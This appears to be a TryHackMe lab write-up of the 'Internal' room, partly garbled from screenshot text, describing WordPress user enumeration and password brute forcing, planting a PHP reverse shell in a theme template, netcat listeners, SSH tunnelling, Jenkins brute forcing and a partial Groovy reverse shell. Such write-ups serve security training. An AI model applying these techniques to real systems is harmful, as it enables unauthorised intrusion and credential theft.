

TryHackMe Writeup: Internal Penetration Test

Challenge URL: https://tryhackme.com/room/internal

Testing started by associating the given IP address of 10.10.2.181 with the URL internal.thm. This was done by editing the local machines Hosts file.

Next, I ran a port scan against the host. Two ports were reported as open. SSH and HTTP

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Starting Nmap 7.93 (https://nmap.org) at 2023-12-01 08:59 EST
Nmap scan report for internal.thm (10.10.2.181)
Host is up (0.094s latency).
Not shown: 65316 closed tcp ports (reset), 217 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due todefeat-rst-ratelimit
PORT STATE SERVICE VERSION 200 5328 1
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.01 seconds
1207 pinkie 200 🗌 5328 1

Ports 22 and 80 open

Since the nmap scan reported back a web server, I visited the host with a browser and was presented with a generic apache page. So I fuzzed directories with dirb to see if there were any live sites available. A Wordpress blog was found. More interesting than that though, was a WP Admin login.



INTERNAL Just another WordPress site	LA LA LA
POSTS	
Hello world!	Search Q
Welcome to WordPress. This is your first post. Edit or delete it, then start writing!	RECENT POSTS
	Hello world!
	RECENT COMMENTS

Blog found

Username or Email Address Password
Remember Me Log In
Lost your password? ← Back to Internal

wp-admin login found

Since I didn't have any valid users, I started trying to brute force users by just guessing the most common ones. Using "**root**" as the user, the error message "Unknown username. Check again or try your email address.". I then tried "**admin**" and got a different error stating "The password you entered for the username **admin** is incorrect". This indicates that "**admin**" is a valid username. So a login request was captured and sent to Burp Intruder in an attempt to crack the password with the seclists "**rockyou.txt**" file. When reviewing the results, one password resulted in a "302" redirect. The password was used and login as admin was successful.

Error : The password you entered for the username admin is incorrect. <u>Lost your password?</u>	
Username or Email Address admin Password Remember Me Log In	

Enumerating usernames

Request Payload		Status code	Error	Timeout	Length \wedge	The pa	Comment			
3882		302			1245					
4751		200			5222					
10907	♥	200			5222					
1097	lorraine	200			5328	1				
1129	roxanne	200			5328	1				
1150	beautiful1	200			5328	1				
1151	boston	200			5328	1				
1154	black	200			5328	1				
1185	gilbert	200			5328	1				
1204	pretty1	200			5328	1				
1207	pinkie	200			5328	1				
1214	holas	200			5328	1				
1233	pedro	200			5328	1				
1315	alexa	200			5328	1				
1336	buster1	200		U U	5328	1				
2270	krissy	200		9	5328	1				
2296	420420	200	U	0	5328	1				
Request	Response									
Pretty	Raw Hex Render									
1 HTTP/I	1.1 302 Found									
2 Date:	Fri, 01 Dec 2023 18:10	47 GMT								
3 Server	: Apache/2.4.29 (Ubunt	u)								
4 Expire	es: Wed, 11 Jan 1984 05	:00:00 GMT		-						
5 Cache	Control: no-cache, mus	t-revalıdate	e, max-a	age=0						
6 Set-Co	ookie: wordpress_test_c	DOK1e=WP+Coc	okie+che	eck; pat	h=/blog/					
7 X-Fran	ne-Options: SAMEORIGIN		df14b74	e-pehove	-admine.70	1701607	0478-700076f 579+000171 vE			
a Set-Co	okie: wordpress_alee68	54004a55c020	df14676	sabebe/s	admin%70	1701027	047%7Cee26fa7yt00e11LXE			
10 Set-Co	okie: wordpress_logged	in alee6854	1004955	-02cdf14	h76a36h84	15=admin	\$7C1701627047\$7Cee76fa7			
11 X-Bedi	rect-By: WordPress		100-1000			- drama ri	, er, erez, eq, e, eeezera,			
12 Locati	on: http://internal.th	m/blog/wp-la	ain.ph	o?redire	ct to=htt	:p%3A%2F	%2Finternal.thm%2Fblog%			
13 Conter	nt-Length: 0	.,	- <u>9</u> p1							
14 Keep-	Alive: timeout=5, max=3	7								
15 Connec	tion: Keep-Alive									
16 Content Type: text/html: charcet-UTE 9										

Password located with Burp Intruder

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🙆 Dashboard 🛛 🔸	Dashboard			Screen Options Help
Home				
Updates 🔕	Welcome to WordPress!			Dismiss
🖈 Posts	We've assembled some links to get you started:			<i>·</i>
91 Media	Get Started	Next Steps	More Actions	
📕 Pages		Write your first blog post	Manage widgets	
Comments	Customize Your Site	+ Add an About page	Manage menus	
Anno-1000	or, change your theme completely	Set up your homepage	Turn comments on or off	
Appearance		 View your site 	🕿 Learn more about netting started	

Admin dashboard

While reviewing the admin dashboard, it was noted that there was a private post that was not revealed while visiting the blog page unauthenticated. The post had some interesting content. Namely, a set of credentials that could be used for later exploitation. **<REDACTED>**. Success!

Posts Add New		
All (2) Published (1) Private (1) Bulk Actions v Apply All dates v All Categories v		
☐ Title ▲	Author	Categories
(no title) — Private	admin	Uncategorized
Hello world!	admin	Uncategorized
Title	Author	Categories
Bulk Actions V Apply		

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Private post found
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Add title
To-Do
Don't forget to reset Will's credentials.

Credentials found in private post

Having noted that NMAP had located an open SSH server earlier, I attempted to log into that with William's creds. But no dice. I did however take that username and attempted to brute force SSH with Hydra. But that'll take a while, so we will circle back. I continued exploring the wp-admin dashboard.



Attempting to log into SSH service

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Setting up Hydra to run in the background

While perusing the site, it was determined that the server was running MySQL and PHP. Using that knowledge, I tried to find a spot to upload and execute a PHP webshell. First, using the media upload page, I tried to upload the shell. However, the file was rejected. I also discovered a "theme editor". Within that editor, it was determined that I could add custom PHP code. However, the current theme didn't allow for any changes. So I switched the active theme to the "twentyseventeen" theme, which allowed me write access. I overwrote the code for the "404.php" file with the custom webshell from pentestmonkey and successfully saved it. I then opened a netcat listener, visited the theme page and VOILA!

Media Library Add New
shell.php Sorry, this file type is not permitted for security reasons.
∎ Drop files to upload
or
Select Files
Maximum upload file size: 2 MB.
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Image: All media items Image: All dates Image: Bulk Select

Webshell rejected as media upload

Edit Themes

Twenty Seventeen: 404 Template (404.php)

Selected file content:

1	p<u hp
2	// php-reverse-shell - A Reverse Shell implementation in PHP
3	// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
4	//
5	// This tool may be used for legal purposes only. Users take full responsibility
6	<pre>// for any actions performed using this tool. The author accepts no liability</pre>
7	<pre>// for damage caused by this tool. If these terms are not acceptable to you, then</pre>
8	// do not use this tool.
9	//
10	<pre>// In all other respects the GPL version 2 applies:</pre>
11	//
12	// This program is free software; you can redistribute it and/or modify
13	<pre>// it under the terms of the GNU General Public License version 2 as</pre>
14	// published by the Free Software Foundation.
15	//
16	// This program is distributed in the hope that it will be useful,
17	<pre>// but WITHOUT ANY WARRANTY; without even the implied warranty of</pre>
18	// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19	// GNU General Public License for more details.
20	//
21	// You should have received a copy of the GNU General Public License along
22	<pre>// with this program; if not, write to the Free Software Foundation, Inc.,</pre>
23	// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Adding PHP webshell to theme "404" template



Spin up netcat to catch shell

Search Results for "fdgdfgfdg×	Edit Themes < Internal — Wor \times	 internal.thm/blog/wp-con× 	Edit Themes < Internal — Wo \times	Magan phpMyAdmin 🦀	× -	+
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🛰 Kali Linux 🔒 Kali Tools 🛛 💆 K	ali Docs Xali Forums Kali	VetHunter 🔺 Google Hacking DE	8 👖 OffSec 🛭 😒 Analyse your HTT	Pres 🐱 twofi - T	witter Words	Iinkedin2username
WARNING: Failed to daeme	onise. This is quite common	and not fatal. <mark>Successfully</mark>	opened reverse shell to 10.	6.88.14:1337 ERI	ROR: Shell co	nnection terminated

Visiting theme 404 page to activate shell



Access granted

The first thing I did was upgrade the current crappy shell to a fully interactive python shell. Once I determined that python was installed, I went ahead and executed a new pty shell.



Once in, I cat'd the contents of /etc/passwd to find other users. A user named **aubreanna** was the only one found. Interestingly, the user "**William**" we found earlier was not found. So we stopped the hydra brute force that was running in the background, updated the username, and started the attack again. While this was running, we continued perusing the file system.

cat /etc/passwd	
root:x:0:0:root:/root:/bin/bash	
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin	
bin:x:2:2:bin:/bin:/usr/sbin/nologin	
sys:x:3:3:sys:/dev:/usr/sbin/nologin	
sync:x:4:65534:sync:/bin:/bin/sync	
games:x:5:60:games:/usr/games:/usr/sbin/nologin	
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin	
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin	
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin	
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin	
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin	
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin	
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin	
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin	
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin	
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin	
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin	
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin	
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/n	ologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin	
syslog:x:102:106::/home/syslog:/usr/sbin/nologin	
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin	
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin	
lxd:x:105:65534::/var/lib/lxd/:/bin/false	
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin	
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin	
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin	
pollinate:x:109:1::/var/cache/pollinate:/bin/false	
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin	
aubreanna:x:1000:1000:aubreanna:/home/aubreanna:/bin/bash	
mysql:x:111:114:MySQL_Server,,,:/nonexistent:/bin/false	

/etc/passwd contents

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Đ Quit							
Target Passwords Tuning Specif	fic Start						
Username							
💿 Username	a	ubreanna					
🔿 Username List							
Loop around users Protocol does not require usernames							
Password							
Password		yourpass					
Password List		d-Databases/rockyou.txt					
Hydra attack reset							

I uploaded the LinPEAS linux enumeration tool to the target machine and ran it. Several noteworthy pieces of information were found. This included Wordpress DB creds!



Wordpress DB creds

Can I use these creds to log into the PhpMyAdmin page.....

ph	p MyAdmin							
Welcon	Welcome to phpMyAdmin							
Language								
English	~							
Log in 😡								
Username:	wordpress							
Password:								
	Go							

Do the creds work

php <mark>MyAdmin</mark> গ্রন্থ ৩ ি উ ৎ	 CServer: Iscultot: 3100 Databases B SQL S Status Export Immort P Settings D Variables E Charsets Immore PI 	ugins
accent Favorites	General settings	Database server • Server: Localhost via UNIX socket • Server vpia:: MySQL • Server version: 5.7.31-0ubuntu0.18.04.1 - (Ubuntu) • Protocol version: 10 • User: wordpress@localhost • Server charset: UTF-8 Unicode (utf8) Web server • Apachet2.4.29 (Ubuntu) • Database client version: libmysgl - mysglnd 5.0.12-dev - 20150407 - 5id: 5391dad22de085242951bd073acceff11e6579 s
	A More settings	PHP extension: mysqli @ curl @ mbstring @ PHP version: 7.2.24-Oubuntu0.18.04.6

SUCCESS!

While interesting, the new database connection didn't yield much useful information. However, the LinPEAS script that was run earlier found some unusual files. What happens if I cat them?

Unexpected in /opt (usually empty) total 16 drwxr-xr-x 3 root root 4096 Aug 3 2020 . drwxr-xr-x 24 root root 4096 Aug 3 2020 .. drwx--x--x 4 root root 4096 Aug 3 2020 containerd -rw-r--r- 1 root root 138 Aug 3 2020 wp-save.txt

Unusual files found by LinPEAS



MORE CREDS!

Sweet. Maybe now I can SSH in with aubreannas creds



SUCCESS!

Now lets grab that first flag!

```
aubreanna@internal:~$ ls
jenkins.txt snap user.txt
aubreanna@internal:~$ cat user.txt
THM{______}
BOOM!
```

There was another interesting file in the directory with the flag. Could it be.... Yes, another asset!



Jenkins located

I needed to pivot my traffic from my localhost into the internal machine in order to view this Jenkins server. So after setting up an SSH tunnel, I browsed to the asset. I was presented with a login screen. Now I need to brute force my way in.

rester (root@HP-OfficeJet-8436)-[~]
└─₩ ssh -N -D 127.0.0.1:8088 aubreanna@10.10.65.115 The authenticity of host '10.10.65.115 (10.10.65.115)' can't be established.
ED25519 key fingerprint is SHA256:seRYczfyDrkweytt6CJT/aBCJZMIcvlYYrTgoGxeHs4. This host key is known by the following other names/addresses: ~/ ssh/known bosts:68: [bashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.65.115' (ED25519) to the list of known hosts.
aubreanna@10.10.65.115's password:
SSH Dynamic tunnel
י ס י 172.17.0.2:8080/loginError
Kali Forums Kali NetHunter 🔌 Google Hacking DB 👖 OffSec 😒 Analyse your HTTP res 🔤 twofi - Twitter Words 💿 linkedin2
Welcome to Jenkins!
Invalid username or password
Username
Password
Sign in
Keep me signed in

Jenkins server

With my ssh dynamic tunnel in place, I configured burpsuite to use that tunnel so that I can capture the login request. Then, using the username "admin" and a fake password, I captured the request with burp, sent it to intruder, selected the password parameter, loaded rockyou as the wordlist, then launched the attack.

Y Network	③ SOCKS proxy User setting Project setting							
Connections	is Use these settings to configure Burp to use a SOCKS proxy for all outgoing communications. This setting is applied at the TCP level, and all outbound requests will be sent via this proxy. If you have configured rules for upstream HTTP proxy servers, then requests to upstream proxies will be sent via the SOCKS proxy configured here.							
TLS								
HTTP Override actions for this project only								
> User interface								
> Suite	🕑 Use SOCKS proxy							
Extensions	SOCKS proxy host: 127.0.0.1							
Configuration library	SOCKS proxy port: 8088							
- comgaration torary	Username:							
	Password:							
	🕑 Do DNS lookups over SOCKS proxy							

Burpsuite proxy settings

?	Payload positions Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.								
	Target: http://172.17.0.2:8080								
	1 2 3 4 5 6 7 8 9 10 11 12 13 14	<pre>POST /j_acegi_security_check HTTP/1.1 Host: 172.17.0.2:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://172.17.0.2:8080/loginError Content-Type: application/x-www-form-urlencoded Content-Length: 53 Origin: http://172.17.0.2:8080 Connection: close Cookie: JSESSIONID.b361a4e6=node01qh08sln4a66c1bvjole6ioyor8.node0 Upgrade-Insecure-Requests: 1 i username=admin&i password=%xxxx&from=%Submit=Sign+in</pre>							
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Captured request, with selected parameter to brute force

While fuzzing with intruder, I noticed that one response was smaller than the rest. Assuming this is the password, I attempted to log into Jenkins

Request	Payload	Status code	Error	Timeout	Length $ imes$	Invalid	Comment	
90		302			311			
199	september	302			441			
53	basketball	302			442			
94	taylor	302			442			
149	patricia	302			442			
341	ihateyou	302			442			
380	myspace1	302			442			
382	sabrina	302			442			
475	london	302			442			
732	ariana	302			442			
1835	luisito	302			442			
3	123456789	302			443			
4	password	302			443			
12	babygirl	302			443			
22	000000	302			443			
25	sunshine	302			443			
Request	Response							
Pretty	Raw Hex Render							
1 HTTP/	1.1 302 Found							
2 Date: Sat, 02 Dec 2023 23:23:08 GMT								
3 X-Content-Type-Options: nosniff								
4 Set-Cookie: JSESSIONID.b361a4e6=node04ha62biurl6uly1vp114ugh4k9433.node0; Path=/; HttpOnly								
5 Expire	5 Expires: Thu, 01 Jan 1970 00:00:00 GMT							
6 Locat:	6 Location: http://172.17.0.2:8080/							
7 Conter	Content-Length: 0							
8 Server	arver: Jetty(9.4.30.v20200511)							

Possible password?

🧌 Jenkins		
Jenkins >		
쯜 New Item		Welcome to Jenkins!
Build History		Create an agent or configure a cloud to set up distributed builds. Learn more.
창 Manage Jenkins		Create a job to start building your software project.
🍓 My Views		
Salar Lockable Resources		
New View		
Build Queue	^	
No builds in the queue.		
Build Executor Status	^	
1 Idle		
2 Idle		

VOILA! I'M IN!

Great, now that I'm in I need to peruse the site for anything useful. I found a script console that allows us to execute code on the server. Maybe we can find a reverse shell and get access to the server as a different user. Lets give it a shot.

frohoff / revsh.groovy Created 8 years ago						
> Code -O- Revisions 1 🛱 Stars 151 🐉 Forks 49	čmbed ▼ <s< th=""></s<>					
Pure Groovy/Java Reverse Shell						
© revsh.groovy Raw						
<pre>1 String host="localnost"; 2 int port=8844; 3 String cod="cnd.exe";</pre>						
<pre>4 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.g</pre>	3					
muttiopenbts commented on May 1, 2017						
Nice one Chris.						



aubreanna@internal:~\$ nc -nvlp 8044
Listening on [0.0.0.0] (family 0, port 8044)

Netcat listener to catch shell



Shell caught!

Great! I have a shell.... But meh... Its not interactive. So lets fix that



VOILA!

Now that I have a shell, lets see if we can find any interesting text files. Once we finished searching the file system, one file stood out....



note.txt?

Whats in it?



Is this really the root password? Lets ssh back in as aubreanna and give it a try



Now all that was left was to read the flag and go have a beer!